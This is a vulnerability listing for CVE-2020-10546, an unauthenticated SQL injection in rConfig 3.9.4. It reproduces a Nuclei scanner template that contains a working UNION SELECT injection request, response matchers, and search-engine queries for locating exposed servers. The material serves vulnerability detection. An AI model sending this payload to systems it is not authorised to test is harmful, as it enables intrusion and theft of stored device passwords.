CVE-2020-10546: rConfig 3.9.4 - SQL Injection

2025-08-01 rConfig PoC Public

Description

rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.

PoC

id: CVE-2020-10546

info:
  name: rConfig 3.9.4 - SQL Injection
  author: madrobot
  severity: critical
  description: rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Upgrade to the latest version of rConfig or apply the provided patch to fix the SQL Injection vulnerability.
  reference:
    - https://github.com/theguly/exploits/blob/master/CVE-2020-10546.py
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10546
    - https://github.com/theguly/exploits
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10546
    cwe-id: CWE-89
    epss-score: 0.8733
    epss-percentile: 0.99745
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2020,cve,rconfig,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[project-discovery]"

      - type: status
        status:
          - 200
# digest: 490a00463044022021c7b9ba2e04c7083d1401b14ee630ad9fcc9ad68568f8afa792bc46037d1c0c0220093c69b23f2b853bdd0391c37885d5e02fdeb4b4171d7f3aaf3fdf0eb06fdc6f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10546.yaml

References

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